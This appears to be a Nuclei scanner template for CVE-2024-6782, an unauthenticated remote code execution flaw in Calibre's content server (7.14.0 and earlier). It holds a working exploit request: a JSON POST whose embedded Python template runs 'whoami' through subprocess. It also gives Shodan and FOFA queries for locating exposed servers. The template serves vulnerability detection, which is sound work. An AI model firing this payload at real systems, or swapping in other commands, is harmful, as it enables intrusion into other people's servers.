nuclei-templates/http/cves/2024/CVE-2024-6782.yaml

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id: CVE-2024-6782
info:
name: Calibre <= 7.14.0 Remote Code Execution
author: DhiyaneshDK
severity: critical
description: |
Unauthenticated remote code execution via Calibres content server in Calibre <= 7.14.0.
reference:
- https://starlabs.sg/advisories/24/24-6781/
metadata:
verified: true
shodan-query: html:"Calibre"
fofa-query: "Server: calibre"
max-requeset: 1
tags: cve,cve2024,calibre,rce
http:
- raw:
- |
GET /interface-data/books-init HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
extractors:
- type: json
name: book_ids
internal: true
json:
- '.search_result.book_ids[0]'
- raw:
- |
POST /cdb/cmd/list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
[
["template"],
"",
"",
"",
{{book_ids}},
"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami'])\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami'])\n"
]
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "b'([^']+)"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100ab0c6eb74bbcbd25752d1cb038e1250aae3a1ca7939f89b55c54300ce331fb7f022100e4d96a62a8a103243f43549987b0cbd496172100fa325a425975b072d0482332:922c64590222798bb761d5b6d8e72950